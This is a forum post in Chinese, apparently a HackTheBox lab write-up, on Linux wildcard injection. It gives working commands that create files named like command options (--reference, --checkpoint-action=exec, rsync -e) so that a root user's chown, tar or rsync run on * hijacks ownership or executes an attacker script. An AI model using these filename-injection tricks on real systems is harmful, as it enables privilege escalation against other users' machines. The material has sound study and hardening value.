linux通配符的利用

2020-07-12 18:32:32 2 3965 1

忽然发现自己在限号名单里,有些慌,最近也比较懒没做什么渗透和ctf题,所以就发下之前打靶机的总结吧。 之前在打hackthebox的靶机Shrek发现的一个技巧,也就是2014年公布的unix和linux中的通配符漏洞。

简单来说这个漏洞就是 可以添加linux命令中的参数作为文件名,执行的时候就可以执行创建的参数名,比如可以使用echo “” > --help,创建一个—help的文件 ,而当你使用cat 的时候就会出现cat --help / rm --help的内容

简单cat * 在linux中执行了

cat 2.txt --help 所以会出现cat --help的界面

chown 首先创建几个文本或文件夹

touch 1.php 2.php 3.php 4.php

之后使用另外的一个用户来做测试,我创建了个lpztest用户来做测试

touch test.php echo "" > --reference=test.txt

切换root 正常进行用户和用户组更改

chown -R root:root *.php

报了个错,但缺成功的将文件劫持了下来,并没有像详细中文件变为root而是变成了lpztest的权限

使用man查看chmod命令发现对—reference的解释是

--reference=RFILE 使用RFILE的所有者和组

也即是当存在--reference指定的文件或文件夹时,之前指定的root:root 就回无效而按--reference的文件所有者来进行更改用户权限。在Chmod 也存在reference参数

man chmod |grep reference

tar 在tar打包命令中也存在参数可以让用户使用tar *的时候产生歧义导致执行命令。 我们可以创建一个shell,sh,里面只需要执行whoami和id命令来做测试

touch shell.sh whoami id

我们用测试用户创建--checkpoint=1和--checkpoint-action=exec=sh shell.sh文件

echo "" > --checkpoint=1 echo "" > --checkpoint-action=exec=sh\ shell.sh

然后root用户使用tar打包命令进行打包

tar xzvf backfile.tar *

发现执行了shell.sh中的命令

查看tar的命令帮助可以知道

--checkpoint=1 每第NUMBER条记录显示进度消息 --checkpoint-action=ACTION 在每个检查点执行action --checkpoint-action中指定的动作

这两个命令加起来大致意思也就是当tar打包文件时,没显示第几条记录时,可以执行--checkpoint-action指定的动作可以是执行shell或者python等

Rsync rsync中也存在可以执行命令的参数

我们先创建名为x.php和-e python3 x.php的文件

echo "" > -e\ python3\ x.php touch x.php import os os.system('whoami > out_common.txt')

然后切换root用户去执行rsync备份文件命令

rsync -t * test:/tmp

发现成功执行命令,不过rsync -e执行的命令是无回显的不过是可以让他生成文件来输出结果来做验证。

rsync中的 -e 参数 specify the remote shell to use 意思是执行你自己准备的脚本进行远程备份 Rsync是可以使用shell的但我并没成功所以我拿着python来演示了。

总结下来其实就是如果有高权限的用户在用rsync tar这一类命令中误配,比如简单的来个*,就很有可能被利用。当然如果有大佬知道其他可执行shell的命令可以说下。

参考

https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt

关于作者

farmseclpz3篇文章143篇回复

评论2次

要评论?请先  登录  或  注册